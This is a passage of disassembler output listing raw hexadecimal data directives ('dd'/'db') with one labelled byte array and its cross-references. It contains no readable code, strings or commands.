		dd 0B136EF3Ch, 37008883h, 46B4FCE7h, 0C8CD7Dh, 0E0EC4DD4h
		dd 9F0EC258h, 0CE13AB03h, 988F78A7h, 7CC3271Bh,	69F33B76h
		dd 0A1B5E580h, 8ED56C0Dh, 0E2676D18h, 0CEC2C8h,	0B1523CAFh
		dd 317C576h, 9B2B0200h,	29DB88AAh, 66D40016h, 0B61A2047h
		dd 600809Fh, 78320E44h,	7EC98592h, 34F800D9h, 6BDE6CA0h
		dd 22039697h, 8C4FD006h, 5117C9F5h, 2641CBECh, 0EABC6Dh
		dd 0B514A8FEh, 49034F15h, 71BD892h, 78DED02Ch, 240800A9h
		dd 0D0FD0FDCh, 3E00F84Eh, 8C7364D4h, 0E7ECD71h,	638FAB08h
		dd 0E0A38A87h, 1332E8D2h, 0C6470C0h, 3FCB2F3h, 0D6267DCh
		dd 1DD015ACh, 7301E2B3h, 50BB990Bh, 0FDF4ED46h,	4D7785h
		dd 0A1687E15h, 8E03C9BCh, 0ED399772h, 63880125h, 6FCF98D5h
		dd 6189DC40h, 0B5BE1C5Eh, 8BC9C004h, 72CE477Ah,	6E82ED0Fh
		dd 0DB24E07Ch, 0E9EF337h, 0F4635867h, 591714C0h, 250EDE7Fh
		dd 0BF371092h, 0C6294240h, 777484Fh, 642EA4E7h,	624B70CDh
		dd 8603F826h, 4A114716h, 0F763E02Fh, 0BCF832h, 0B68C18FCh
		dd 0AE0EA4C5h, 331D90B0h, 29C09941h, 0FFC4E5D9h, 1139005Dh
		dd 31680D38h, 0B7004E81h, 46D403EBh, 34BB46Fh, 6A4CA751h
		dd 0B180D033h, 1B98C0BBh, 4F28CF8h, 2CD27E0Bh, 0D642008Ah
		dd 0F1CD4BDh, 49EDBC4Eh, 484AA700h, 0C90F4452h,	0E09562BFh
		dd 0A30B1D38h, 6B2C0072h, 1044D70h, 12E4458Ch, 21FD0700h
		dd 5A283202h, 0BF4E0037h, 9EDA6B85h, 0AC009168h, 58D2AA40h
		dd 941C12h, 0FCDB50DEh,	7E8DDD9Dh, 372A3Fh, 0F23CDF83h
		dd 122D70C8h, 5BACCh, 32E09568h, 42006816h, 8AF56E6h, 0FFC3Ah
		dd 0CD3075F1h, 6D0EDAF4h, 0E6A63Eh, 0B5F7946Eh,	2D9818h
		dd 97CEBA7Eh, 0CB24FD20h, 4D9A9C00h, 54BEC321h,	4907394Eh
		dd 0BCA68480h, 246372F4h, 3FF8AC00h, 0A03594FDh, 311C006Eh
		dd 86B327C0h, 38004761h, 8FC88498h, 0D3F8B6h, 376422E3h
		dd 945AC33Eh, 32CEAA0Fh, 80B4291Bh, 0A0EAEB2Ch,	57FA1207h
		dd 0C0B21C09h, 8FFD2CBFh, 67005A43h, 0C1DFA803h, 1F801E34h
		dd 0C3C765F4h, 9122EA90h, 29BE38F8h, 68C09A03h,	88CE26BFh
		dd 5B525Ch, 0B5EF5EC5h,	66BDA59h, 584A48h, 6D955DD3h, 1A54CFh
		dd 9D4EF060h, 0B87AA92Ah, 0AE4152Ch, 6D49AA00h,	0E62870C3h
		dd 82DC001Eh, 1FE2F9B4h, 2A001044h, 1ADF77ABh, 713A84EFh
		dd 0DFD00B7h, 0B14A70FCh, 0EC003EA0h, 8442DC73h, 1FD2C35Ch
		dd 0C132236Bh, 6865F57h, 0F800F7E1h, 0CFAB5D13h, 7271F80Dh
		dd 8E3738B1h, 0EAF4C003h, 508F2679h, 54666D7h, 1CFFA900h
		dd 5AA44CDDh, 9AD7B0Ah,	0A73E360Fh, 72DF401h, 0F8D68034h
		dd 0C46A25DBh, 0EBE900FBh, 4D69E433h, 6E007141h, 0B2374A88h
		dd 0EE2DC29h, 94EF2B2Fh, 0E100EB09h, 6474DDC6h,	0A1ADA901h
		dd 17951EF8h, 0A0B36BE0h, 394ED7DCh, 0C08043FBh, 4DD6A585h
		dd 592C2002h, 0E68E6CB8h, 40CD0FA4h, 0AE6F8C4Bh, 9064FFF3h
		dd 855E0EDDh, 0CE0F502h, 0D0AFB46h, 4FDCC750h, 308642F8h
		dd 7EB04053h, 0A1000E48h, 307A8E15h, 1916421h, 0C38D1FF4h
		dd 2001ABA0h, 283E74F4h, 6541008Ah, 9E34DA1Bh, 7F0E01C9h
		dd 0DE31DDADh, 4535E440h, 0F052A100h, 38516CCh,	53FC0054h
		dd 0ECF742A7h, 9C00488Ch, 918E18CAh, 0C0D5321Ch, 54B60AF8h
		dd 223E27C2h, 80CD39D8h, 2F3AA4E1h, 74BFB10h, 598DA7EEh
		dd 440FA0ECh, 0C601BBD1h, 0BA586C36h, 0D060E002h, 0FAA4EC59h
		dd 1D3700E4h, 7A05FDBFh, 0CC004877h, 2956983h, 18F0ACh
		dd 62C38164h, 0E3DCCE75h, 8B40E700h, 84E8AABCh,	24C10085h
		dd 51B8AD63h, 20C7E0C2h, 62108090h, 0D6F91Eh, 6D8E3B6h
		dd 0BC2A2129h, 47C47000h, 7930D2A0h, 0ED5F00A6h, 0AFDFCC04h
		dd 0E8CFEE4Fh, 0B49FE085h, 7D18E8Bh, 4880C7Bh, 6CA0EF52h
		dd 0AD588942h, 0B6AA7700h, 0D2F0C1CAh, 6123126h, 0F0F74980h
		dd 0F300BED3h, 36A8DD18h, 1805EFCh, 0CA783AAFh,	0E074B770h
		dd 45017E4Bh, 501E55D4h, 898865EDh, 3CACE99Fh, 88D55804h
		dd 3DC47090h, 332C0086h, 99E426C5h, 7616EC83h, 4B0048F1h
		dd 88419BBDh, 6BFE0094h, 0B8FAC919h, 0D07A2C63h, 21DF4A00h
		dd 0F0C3AA2Bh, 4C202DEh, 73D2F911h, 0B87F5CE0h,	5F140B18h
		dd 6A4111h, 74AB8021h, 5CAD6EA4h, 48856324h, 0F7806D9Eh
		dd 2C1D8CDFh, 0A77A05E5h, 0C039F5A8h, 633FB2Bh,	0E2F6C8C1h
		dd 36804AE3h, 7713D16Bh, 7F007D6Fh, 65E8BCD6h, 71486Ah
		dd 0F18E2CCBh, 70DAEBDBh, 0C46EF200h, 15D4D80Eh, 1C0C7A6Bh
		dd 977B9874h, 0A3C0092h, 994B1224h, 2B328505h, 0F890DDFAh
		dd 1F661D1Fh, 803C95F1h, 51C6FF7Dh, 77072BEBh, 48A9412h
		dd 13C2DD20h, 0BA3170AAh, 0D9AF2EF0h, 6CBF40ECh, 6E01A1A7h
		dd 0E272FB7Fh, 8C405F77h, 105D732h, 90D4FC39h, 0DCEE740Ch
		dd 6F07AD4Fh, 0B2BE5D03h, 0C4AB0FF3h, 2F2BF080h, 64665C15h
		dd 42D15600h, 38C0EC23h, 82B0A200h, 401B880Dh, 0AA763B8Dh
		dd 0E50020DCh, 9DA3EA51h, 3A0070E6h, 338C555Fh,	0DF8E73h
		dd 75CFAAF4h, 8960B564h, 2BBB0D00h, 0CB126501h,	7A950056h
		dd 9A94E820h, 1300C770h, 96EEC44h, 503ED550h, 1EB49703h
		dd 0A2CD26h, 0CFA586BEh, 0D50BD0C8h, 726148h, 105AAA18h
		dd 7FCD0015h, 0E59570C4h, 3D240797h, 0D70080C6h, 0B47E6773h
		dd 35A93CFCh, 0ED022607h, 0EEF0E03Bh, 0CB001A8Dh, 7A3AC532h
		dd 98B114FAh, 0F2D4E018h, 0F6E0040h, 0E18410B8h, 18900ACDh
		dd 80E8A326h, 2CBC8C80h, 18EFF9B1h, 0C1178647h,	70003E1Ah
		dd 0F2C1AA23h, 28BD418Dh, 0B02E8Fh, 5F9AF833h, 88F33D2Ah
		dd 733EF502h, 8013AA75h, 817A09ACh, 11ECC1A9h, 20A79984h
		dd 0D1EC9B4h, 459E58C0h, 6E6D1980h, 614C851h, 290A1D7Eh
		dd 405A05Dh, 0D61F58Ch,	2BC1F800h, 7ECF6Ah, 0F757C462h
		dd 97DE5D1Ch, 0F6840901h, 0F3DFE963h, 0F42D4860h, 715500E0h
		dd 0DC1A5A7Eh, 0DB704811h, 0EFB2E40Bh, 0A6DC00C3h, 7FAE67h
		dd 0BBD9B75Eh, 9639B4E2h, 0A4BC0A0Fh, 0AF862132h, 0E6F0AB73h
		dd 0E27D25h, 4176A7C7h,	22440CB5h, 0BB771E00h, 0EB8A057Dh
		dd 1B3105DCh, 900497E7h, 0DB2EB760h, 2000E373h,	0A23544E6h
		dd 0B9C061h, 4B36D01Bh,	2EA082C7h, 6C2A8103h, 0F85449CFh
		dd 26D4973Ch, 2BBBE3Dh,	0A4AD56D5h, 0C26D3FC0h,	0AF0160B0h
		dd 27B5A261h, 99EF3CCEh, 82804055h, 8FA46FEDh, 1A0077C0h
		dd 3C97AC87h, 0BA97827h, 0E615C4FCh, 372E7C00h,	501C81BCh
		dd 0EEC0BA0Bh, 0BF44661Ah, 0F2A32EF3h, 0CAAB1EC0h, 30F0B632h
		dd 0BF65628Ah, 4B39900h, 0FFDFC472h, 103E0322h,	5345D605h
		dd 4195A3E0h, 0CB00D098h, 0FE55FB1Bh, 725943h, 6BB165D1h
		dd 40140C35h, 5B62C03h,	0F8FD3E64h, 59F517C6h, 7510802Bh
		dd 0CC070053h, 0DF55EF0Ch, 8ABB0046h, 0C4A30E7Dh, 0E8C08234h
		dd 3168D183h, 0DDDA0E48h, 42E03263h, 2165034Ah,	4C730500h
		dd 352C5A53h, 0F46E000Dh, 71292EBAh, 0AFE409B5h, 8F792838h
		dd 0E91BC05Eh, 6EB90007h, 0AE6649h, 0FC8AB35Ah,	168B28DAh
		dd 57105300h, 0ED7C36C3h, 52131C81h, 0CDAB40B2h, 0A7AEEAEBh
		dd 0E3CA5B1Fh, 0DB96FF40h, 3A1DDFBFh, 3E857B51h, 0C344E2A5h
		dd 6190D9B3h, 373845ADh, 0F89BB0D1h, 54DAB8Bh, 102E0C96h
		dd 888C014Ch, 381605C5h, 878B2C6Ch, 23E59107h, 0A8300D01h
		dd 2C70C6h, 0AB5BD2FBh,	39E15AACh
		db 0Eh
byte_530055	db 0D5h, 40h, 1Bh	; DATA XREF: ___:off_43859Co
					; ___:off_4385B4o
		dd 0BF81C03Dh, 3C982h, 88012131h, 3F9A99B9h, 0A91011E6h
		dd 660076DDh, 0FAB06116h, 0AC0006B2h, 0BD6F8CDh, 0BE7949h
		dd 7F2EFC4Ch, 11677004h, 9E176E1Dh, 0E740231Eh,	0CD5E8877h
		dd 1EE6ECEFh, 81E170C6h, 0DB8C0F50h, 0C1D1CF46h, 0ECF9401Ah
		dd 6F002D3Fh, 0E42E6825h, 0CD13B0h, 47A7711Fh, 0B4F416CFh
		dd 0E2C05Ch, 0C4F79CAFh, 0B739EA8h, 2CE97F3Eh, 18C58D01h
		dd 0D72880E4h, 0C1217158h, 0CC9976h, 62B6BC25h,	0D30999AEh
		dd 8FCEA9C7h, 4AAAC046h, 11F036Ch, 0E73145FBh, 0F046C91Eh
		dd 2D006824h, 0E19D7F1Bh, 38C1D71h, 0ECC678C1h,	85C00FE2h
		dd 0EB814DAh, 0BA7F8212h, 7A4A5840h, 1FD3EE0Ch,	801F1637h
		dd 31E458Fh, 0EC00B535h, 1A85927Dh, 5D770Eh, 0E50FCA74h
		dd 374E2DFCh, 80046E3Ah, 9485C4CDh, 3D41893h, 0EE786973h
		dd 0E0BFBDD0h, 80EB72C9h, 0E09A5A7Ch, 88D25B00h, 340F9522h
		dd 564638A5h, 202DFF98h, 2E015121h, 847B2080h, 0A8BEA7F3h
		dd 0F93190Bh, 0CD897CA0h, 630011C5h, 42CBC6B2h,	1315E8E4h
		dd 188834h, 19602B7Dh, 0C000163h, 65312E59h, 0C0393E69h
		dd 0A7FD8570h, 26003ACBh, 97630ACAh, 16BEFB4h, 0EB9A1BA4h
		dd 0D88EB5BDh, 37008D6Ah, 340BA31Fh, 3D22F63h, 9036CB5Ah
		dd 803E7D23h, 1A0F0ACAh, 8500509Ah, 0E6E5A62Eh,	0E0FD009Dh
		dd 72DE9216h, 48E36EEAh, 0C92ADB84h, 3407C4BDh,	0D75649DDh
		dd 0EC0C0791h, 0B5F171F5h, 0EEDAC9Eh, 21808E36h, 0B7814C15h
		dd 0F2A6A300h, 0AE1EBE09h, 0A541007Ah, 5391C559h, 8503B3C3h
		dd 0B4B94A06h, 4397D883h, 0C820003Eh, 59416A77h, 3D0068D9h
		dd 72AAA167h, 972FB4h, 0B5CF612Dh, 0D3D85D02h, 206DD500h
		dd 3F956B96h, 9A721EDBh, 0A614802Ah, 667151EFh,	0C3F8B100h
		dd 959FB664h, 0F2813082h, 2856A6E1h, 4D5BBB00h,	0BDDA35B5h
		dd 0A0270088h, 0DB9D8607h, 0FC58ECCBh, 1ABC0C9Ch, 54923958h
		dd 3A4FEh, 8835C569h, 75765CBAh, 3597B4Ch, 9701896Dh, 932819F9h
		dd 0E8D231E1h, 2601BA4Dh, 0D70D2B46h, 1D308DF4h, 0C5F900F7h
		dd 0CD91D827h, 7000A77Dh, 0B913C9DAh, 90542C68h, 0DC840086h
		dd 91CBDED5h, 82FE4B18h, 8B653B0Fh, 3F017EE4h, 36515A89h
		dd 72B2E4h, 0A818854Ch,	59C093A4h, 80315201h, 913DE15Bh
		dd 22C95C24h, 6000F492h, 3821BE75h, 130D16Bh, 7D9D706Fh
		dd 30FB9C45h, 0E0008911h, 67BD23B2h, 0EDF86A7h,	108F5D9Ah
		dd 0E6F2ADE0h, 0F5002926h, 0D0F16C5Bh, 1B6474h,	18B109E9h
		dd 53DCDE5Ch, 9561E001h, 5FB21E96h, 31177EECh, 25383BC4h
		dd 9241803Ch, 0CB3795D5h, 211F00D0h, 0A90FB112h, 5900E330h
		dd 560D9EEEh, 7F52E6Ch,	903A9327h, 90430744h, 31BAED7Ah
		dd 0DE1F8674h, 47C1336Eh, 6DF753D5h, 5C7618Dh, 0BDE74008h
		dd 0DC002D0Dh, 1B598168h, 0B2398Dh, 0F54E108h, 2AED8509h
		dd 0F53DF53Eh, 0DCA17700h, 2576BBE2h, 5151C120h, 20B845C1h
		dd 0D9F4B00Bh, 0FA509600h, 0ED7768D8h, 63D14CEEh, 19C82F00h
		dd 512E1B04h, 41C324E8h, 5579B5h, 1DB50D1h, 0A568F27Fh
		dd 0BE3F3Dh, 0BA90D369h, 0C0848E81h, 27488929h,	0B679FA56h
		dd 597EFF00h, 0A10F9B40h, 4249006Ah, 0BEA77C7Dh, 3400E5EEh
		dd 13E2F504h, 0A92E5EDBh, 1E106BB8h, 0B80048A2h, 0E42B2DEFh
		dd 33DC633h, 0E0E131DEh, 73E1C73Ah, 501ED15Fh, 0BAA1429Ch
		dd 9B0AE504h, 0DE80544Ch, 0FD34BEBh, 32C60B76h,	0C77EBE2Eh
		dd 80C58E4Eh, 2CE2F421h, 803B023Fh, 0CAA2B7B5h,	0CE9188h
		dd 0F46845A5h, 1FC3508Fh, 65671300h, 0B99B4635h, 0CC4200ACh
		dd 0F4EC5B1Ch, 6AF8A3E3h, 1808D907h, 37400EEAh,	30697A6Fh
		dd 0E3185BF9h, 0F47833B1h, 6D215703h, 0C03150A3h, 3719FAFh
		dd 549116FCh, 9300EE8h,	87CF2135h, 0CA670371h, 0EF93DEBEh
		dd 340669B6h, 5C3D6979h, 318F6C10h, 48C2860h, 16FD7194h
		dd 1CE38A9h, 0D576719Ch, 83189913h, 433EA049h, 14E7F01Ch
		dd 0C3041E22h, 0BC2C058h, 1E2F8E42h, 77D5F81Ch,	0D816DC47h
		dd 0B93D9930h, 90BEF5FEh, 8F035BA0h, 796F92E8h,	0B6F3A0CEh
		dd 0BA8101E2h, 0CA08DFD7h, 2D94E046h, 61005EEAh, 3D96A5ACh
		dd 8D5B99h, 241908D8h, 0C24CF43Fh, 0AC3B8628h, 0AB36DE00h
		dd 0C9844821h, 0D29200F6h, 8F2CF717h, 6500E116h, 0F4DF9061h
		dd 578345h, 1A7BD5F5h, 0B4789609h, 8FC8B80Ch, 603009ECh
		dd 0E1FA20F6h, 9505D996h, 0E20D3B12h, 7A5CB21Dh, 0C4015300h
		dd 528E9Fh, 0F1CABD35h,	0A5622690h, 43F094E8h, 765E6C06h
		dd 0F204405h, 0D5F4DCE3h, 8DEC3800h, 88C73A4Dh,	0DA50049Bh
		dd 1825E622h, 8FEFAE8h,	20C039A7h, 7B3AE3BAh, 8BA20081h
		dd 0DC4AFC5Bh, 80E983E8h, 0F6D15C9h, 266A82h, 8425014Ch
		dd 0A1F42E56h, 0F2C74A03h, 0A09CE136h, 66497659h, 807B903Fh
		dd 0CE0E91C8h, 22B045E0h, 448618D6h, 500D0A6h, 0C13B483Ah
		dd 14AF7B9h, 30C3C59Ah,	81D42041h, 0A86CF458h, 98C0C7FBh
		dd 0A8FA6FD3h, 89E3A28Eh, 0DDD4A5h, 954F3290h, 6B1D14D2h
		dd 4C00E119h, 3EA96E90h, 2381039Ah, 79FC7B0Eh, 0B5F5590Eh
		dd 5FD8E9E9h, 54057081h, 9C0898CEh, 0E10B21h, 0CBA26379h
		dd 22ED0AE0h, 0B290CD18h, 0C5EA470h, 0CABE28D9h, 1814F6F8h
		dd 8831EDh, 0C7829214h,	8149C3h, 0D14F01ACh, 0A5963290h
		dd 0D0A6F80Fh, 65401E54h, 0F9C5BD13h, 5ABF0099h, 9A0BD8FCh
		dd 33188388h, 0A428EF89h, 0B73F3C6Eh, 1213AE00h, 92E15064h
		dd 90043F8h, 838FBF1Bh,	0C1D68E37h, 1640430h, 60499EB7h
		dd 25099700h, 574CF9h, 0CC5615ABh, 0D6378453h, 6DB3Ch
		dd 12E00B68h, 1E761143h, 80ECD579h, 47D401Ah, 0C1009556h
		dd 25506C01h, 1B4E9D4h,	0D95A1B4Bh, 0C7EF47BCh,	83FCC5BFh
		dd 9000B5A4h, 0CD04C11h, 79659A96h, 0F0A94101h,	19C6EC64h
		dd 3DE081C5h, 48004ED0h, 45FCE4A6h, 0EEE2E3E7h,	0A9623F01h
		dd 91636C8Ch, 0A3542880h, 0D3575EB3h, 8AC89C18h, 276B41h
		dd 42B7DDF4h, 851B3AF2h, 0CD0CCC00h, 0DA72345Bh, 6A260CC0h
		dd 0B2B0C4C1h, 574E7E00h, 0F621B7E6h, 590A009Bh, 38D50511h
		dd 0B9005101h, 474C7D96h, 6F546Ch, 6BE41FCBh, 0EB0F5CF2h
		dd 0EE893401h, 0CA52B707h, 570048BAh, 0B3AA781Fh, 7CE25CDFh
		dd 38612700h, 0B8BA967Fh, 3FE80079h, 32C70147h,	431F4892h
		dd 0F244F606h, 0BFA0810Eh, 64C938BBh, 0E7B7F080h, 3C6B3D1h
		dd 6D9D7200h, 638E7466h, 22CD1E88h, 0DD5B024Dh,	0E6098ADh
		dd 92002BD5h, 0A9506D9Ah, 303BEA47h, 17B04F1Eh,	2B30E5BDh
		dd 0FC5E20CCh, 789F00BAh, 0EACED312h, 0C57ABB1Ch, 2F473E01h
		dd 622B57B6h, 0BED5F880h, 0B87E82F9h, 0E5480E01h, 0E6611EBFh
		dd 0F08BE0h, 3738E4B1h,	0CCB6105Fh, 0D0C10B1Dh,	486842C0h
		dd 4D49F3h, 2FC06A62h, 0F8D71A01h, 52EBB200h, 61D14604h
		dd 0BA29C05Bh, 0E9A6D645h, 0ADCBF506h, 340805C1h, 812040B7h
		dd 0E054C83Dh, 0DE00BF75h, 0FE4AACC2h, 0ECEAE3h, 0F6103A52h
		dd 1460C349h, 0B50F9F7Eh, 597FFFC8h, 698D5A70h,	0E008B189h
		dd 79039580h, 0EFF256AEh, 0C28962Bh, 85120AC9h,	0CF5CB040h
		dd 0B1EC328Eh, 0D74C30F8h, 3DE9A908h, 409464C9h, 0ED72187h
		dd 921F0065h, 791A77C7h, 0DC511BEEh, 90608728h,	0C380EF05h
		dd 3A6C4001h, 7C009F88h, 2F587A17h, 0AA0B3C28h,	0FF6E94h
		dd 0DDA37EF5h
		dd 4A6A0270h, 0EFD7B45Bh, 2A989B40h, 0A4E6D0EAh, 0B949C900h
		dd 0C375FC36h, 0EC200026h, 128332A2h, 500EBDDh,	9F270CC1h
		dd 0F726016h, 3447A010h, 8708C05Ch, 6C8F28C2h, 7892F900h
		dd 0D1827DD0h, 485F24Bh, 6C840FAh, 6341C386h, 36B8B998h
		dd 0D61E90E6h, 1700D7EEh, 0D9832E97h, 30470765h, 0C0F47435h
		dd 10F2C9AEh, 3FE31B3Eh, 4407F464h, 0EA6B2D28h,	71FDF8B0h
		dd 0B5E03110h, 80D0B708h, 0EA23A020h, 0CED7D72h, 0E8869775h
		dd 7E007818h, 0E6C45BD4h, 3188B9FEh, 4161F7ECh,	1D6D0CC9h
		dd 230739EAh, 0D18A08h,	0C2EA22A6h, 35008F59h, 0D389CDB2h
		dd 2067474Bh, 0A318C198h, 0AA584C3Eh, 1200E2Bh,	0CBE07808h
		dd 0D66B49BBh, 0BD3B9703h, 14D100Ch, 9247F779h,	0E4DED485h
		dd 783EB68Ch, 0E7DF802Bh, 0C4D284Fh, 611676A4h,	752C1868h
		dd 0E490148h, 3EE123E8h, 2061AE83h, 0FA2562B7h,	0E88600Ch
		dd 0AA47A46Ah, 0A2111502h, 0C5A32643h, 0CA44A82Eh, 0B63B3200h
		dd 3083E062h, 90482FF2h, 21039D0Ch, 0EAB310C0h,	3B7E9860h
		dd 8FE429h, 0AA34D2B2h,	1C849D55h, 9C0B2300h, 6873EB69h
		dd 0FB661E94h, 0FE3340C8h, 0B3A6FA18h, 56A73A00h, 67EE32E4h
		dd 0FF6F1C85h, 22C80046h, 0C7718FD3h, 1B005FEAh, 0EEABB71Eh
		dd 440E77h, 465349E6h, 6114A03Dh, 50BA9500h, 39776066h
		dd 3508CCADh, 5E001321h, 7B08B95h, 0B91F6h, 0CC668EE8h
		dd 0C25C0380h, 0CB850C1Ch, 82FE8Eh, 0F90161D2h,	404161B8h
		dd 609B334Bh, 1FF80D21h, 34538D03h, 0C143D979h,	4080EEF8h
		dd 3D44F224h, 6F0C3A2Ah, 803482F4h, 2E8003C0h, 979018F8h
		dd 92FE721Eh, 203B8F8Ch, 2EA80EC3h, 0BC8088A3h,	0CB3A57F9h
		dd 0D94DEC00h, 4BF6A179h, 66A3B041h, 583868EBh,	0C03169C8h
		dd 18D22E9Eh, 54656E07h, 80EE7055h, 0E936B5E2h,	1E080E0Bh
		dd 79800A0Eh, 6A3B1D33h, 5C4D8700h, 6674E1C8h, 6F513EFCh
		dd 19B52A18h, 9A3E5E01h, 563701FEh, 1342C37Ah, 0D3D4E9EDh
		dd 5AE840h, 0CEAAE45Ch,	0A6A38E06h, 565E5900h, 130CF766h
		dd 5D9600C7h, 48CC315Ah, 4474DDF0h, 2BCA5300h, 0AB3725EBh
		dd 59960047h, 0F6C96CEAh, 0F4004FACh, 0E245E7BDh, 7FFBB0h
		dd 47B8DF3Ah, 94D4B575h, 0E6D6800h, 69EDCD8Bh, 3F64774Bh
		dd 2D809627h, 893B0FC9h, 0FF30DAA0h, 577D408Bh,	0A2880380h
		dd 0E79733B1h, 14ED1800h, 0A8D421E3h, 437301ACh, 1C26CB3Bh
		dd 1000E746h, 5775339Bh, 935068h, 37BCA2DBh, 0E954D1Bh
		dd 6EDE6200h, 7ECF56D5h, 60BB6F94h, 0C0E8AA87h,	26FFEF15h
		dd 18DD557Ah, 0A7BA7940h, 6C3CCE2h, 0FCDB965Dh,	0B63BE188h
		dd 861A8012h, 45F9E990h, 8FE0057h, 71E2EB7Ch, 6200E85Ah
		dd 0B17048E5h, 0ECFF1222h, 245502A0h, 38201BCh,	0E31F6EE0h
		dd 7D6AD200h, 8785F2CCh, 73580069h, 8A50DF7h, 0BC00FEFAh
		dd 0FB65537Ah, 0CE26F403h, 4A007C18h, 5A09935Dh, 9ACFD100h
		dd 79C3BA58h, 0FC9C01EBh, 1328FA0h, 0F16EE06Bh,	0DF2B8B03h
		dd 0A820C8FDh, 0B840371Dh, 26603EC5h, 557F1B00h, 0A5217C0Fh
		dd 82CB731h, 0F1705F08h, 4F37001Ch, 9A445C69h, 0E002550h
		dd 2201F40Dh, 70AC0FFh,	1B11032Eh, 0F0C6C1E1h, 67E6E84Eh
		dd 0B402E506h, 12D8859Ah, 1FD2AC66h, 0FB0A40FDh, 41F4B760h
		dd 6A95CC18h, 95F5E88h,	0E77EBBD5h, 7F75680h, 320034AEh
		dd 6C4E9CCEh, 74FB8F2h,	87B5E8D9h, 3B6743D8h, 0A6B12000h
		dd 6156B47Bh, 0F8F73C22h, 8058961Eh, 0A2463612h, 0F518C5D6h
		dd 3C3006C4h, 2ABF0014h, 0AD89025Fh, 0F83ABBAEh, 213030C8h
		dd 28F7DAh, 0A5783BF2h,	68338EC4h, 0F892C103h, 0FBA27209h
		dd 81409847h, 304BFDD1h, 0CFC4E782h, 19ED2110h,	0C960B134h
		dd 43D0605Ch, 0C77C3600h, 0A98EC185h, 9A1C032Bh, 1A1BD871h
		dd 0F3346100h, 2C897037h, 16335CE7h, 1A3F0F75h,	0AE71842h
		dd 7BEAE0Eh, 0E5E9AFABh, 0C5AC413Ah, 8EBC45B5h,	7BB738h
		dd 0D4FE12D6h, 0B198000Ah, 62ABC80Fh, 100E3EEh,	0E6FC9A3Ch
		dd 9B191Eh, 30A4DFC6h, 4E2BAC8Ah, 0C2C38100h, 58D99D2h
		dd 295F30AAh, 0F6678E10h, 36ECE38h, 0F326610Bh,	8DE3E01Bh
		dd 184D58FBh, 2760420Fh, 48772943h, 0B932F3B0h,	0E61F1101h
		dd 0D15189D0h, 739F6CD8h, 2B7ACDh, 0B5CF295Ch, 0E27F3D53h
		dd 49C30303h, 0A915C680h, 22F06131h, 0F8910C48h, 54B8A69Dh
		dd 14A88B00h, 69BE497Dh, 64360126h, 24BC7029h, 41C1608Ch
		dd 0C86A3Bh, 0B884BEE2h, 8E2653h, 8D85B2B1h, 89F158ECh
		dd 0D6904E60h, 3C461Ah,	8BB38C43h, 2AD3BFA4h, 307673Ah
		dd 59554E3h, 808DA0E1h,	0A6720008h, 869D2E33h, 0C00844Fh
		dd 0E55CE087h, 0E46B22Ch, 66F9D5D3h, 77B415h, 61EBAEFBh
		dd 6B2F2C6Ch, 18188D60h, 3573F77h, 4C9B95E9h, 0C3E13524h
		dd 146DD09Fh, 0A0076600h, 0B6932D91h, 253107DAh, 0B01179E7h
		dd 80640954h, 0C0DE2900h, 874AE5B5h, 79B7E6F9h,	0D06E004Fh
		dd 0AA72C466h, 0F800DCCDh, 887694CCh, 1F4F02A3h, 8114E9D2h
		dd 28342747h, 51F3041h,	8C2D6D06h, 384A24h, 773806BCh
		dd 46B0EBE2h, 0ED98C800h, 0B195F4E6h, 28E90104h, 0BF700226h
		dd 0A6F770D1h, 0D9A0122Eh, 0AEC0AB1Dh, 439881CFh, 2D210074h
		dd 9D020AA8h, 85F0766Fh, 0E0363700h, 72DB94E5h,	161300D7h
		dd 7140B526h, 92033148h, 0DD5C3382h, 605ADA53h,	4D795Ch
		dd 68A105A2h, 65AB2FA9h, 0DBCFCE1Fh, 84D2BE87h,	969F5A30h
		dd 971C0175h, 439CC247h, 45B740E5h, 951412FCh, 18CA5A7h
		dd 1F21B653h, 2BE0B548h, 874C3041h, 0BB88EFC0h,	0D800CEE4h
		dd 120BB83Ah, 3906C7B4h, 0FC1CCCB5h, 0DD0F40B3h, 0CE928D8Ch
		dd 3BDC0101h, 8F4F6255h, 0D73E1080h, 0DE371AD4h, 518C0C31h
		dd 0AE20D8D6h, 91B30BB6h, 4B00B03Bh, 0DE2668C8h, 1C140350h
		dd 0F7D8DD18h, 1CB7069h, 0AA9A5FA1h, 0A8A59DD4h, 0FD0FED40h
		dd 827DF063h, 80D980DCh, 0E41C470Ch, 0ACB40CBEh, 9848F101h
		dd 6B2B901Ch, 6F0A4C43h, 382185DEh, 4080A440h, 396A7E55h
		dd 3B1E2BCCh, 0BF40B991h, 6FCE9581h, 0F5EB18B1h, 2879388Bh
		dd 76927700h, 0CFA5671Bh, 0DFB8006Fh, 0C3D81CA1h, 54004AB9h
		dd 9FE8E6F4h, 18408B0Dh, 28F9125Eh, 0E2004125h,	6EAF278Eh
		dd 23FF7Eh, 0BD9580EDh,	54BADF68h, 92A9E103h, 0A0B7CB38h
		dd 0AC1C35h, 0FD1D1067h, 5856B840h, 0F9267901h,	5FD245C1h
		dd 9491F0h, 403522D6h, 0A5DCFFA3h, 8018BCFFh, 0CB75377Eh
		dd 0B8A9E0h, 0BFC04381h, 0E353A03Eh, 0ACD4781Eh, 0B1AF1B00h
		dd 0FA37721h, 6CD74AD2h, 0D603B640h, 660061CCh,	42EA36BEh
		dd 0FA4081A3h, 91FC0EF9h, 264090F5h, 0EA6325E4h, 5EF810EAh
		dd 0B4491903h, 96AE29AAh, 32C8598h, 0FFC94DA9h,	0B4CDA819h
		dd 0DFE417F1h, 18D06018h, 54B8DEDh, 8E6D3C00h, 0FFCB1C28h
		dd 0B288A016h, 45CD033Fh, 0A9B1222Bh, 20EE4100h, 0C53D688h
		dd 0B278C325h, 0B6D8866Ch, 98027018h, 671AD1Fh,	6776E002h
		dd 0C16000DCh, 9AB8F726h, 4304AFEh, 0A8F6E0FAh,	524A852h
		dd 0B62100C4h, 3937A5C7h, 181858B0h, 91903F69h,	0B92D605Ah
		dd 0AAEBA568h, 309849DBh, 2E9E821h, 0AD0731B8h,	4FC15D85h
		dd 509BA1F1h, 0FA2BD060h, 62700043h, 0A3D687FBh, 0B100AD63h
		dd 55CA27B0h, 39EFB5F9h, 3F8F21E8h, 175FCED0h, 537A00D2h
		dd 9D86C760h, 59EA2200h
		dd 0F6A24433h, 2D710C82h, 11100DCEh, 5EF08F00h,	259F4F7h
		dd 5851FEBh, 41B880BFh,	8B2B4E81h, 0C8376A00h, 0F998D866h
		dd 0D0711FD6h, 0AF3B7DE9h, 0A0416180h, 0D32535C3h, 0B53A600h
		dd 269C69ABh, 19E0031h,	94EC9093h, 90A0139Bh, 0C7002A10h
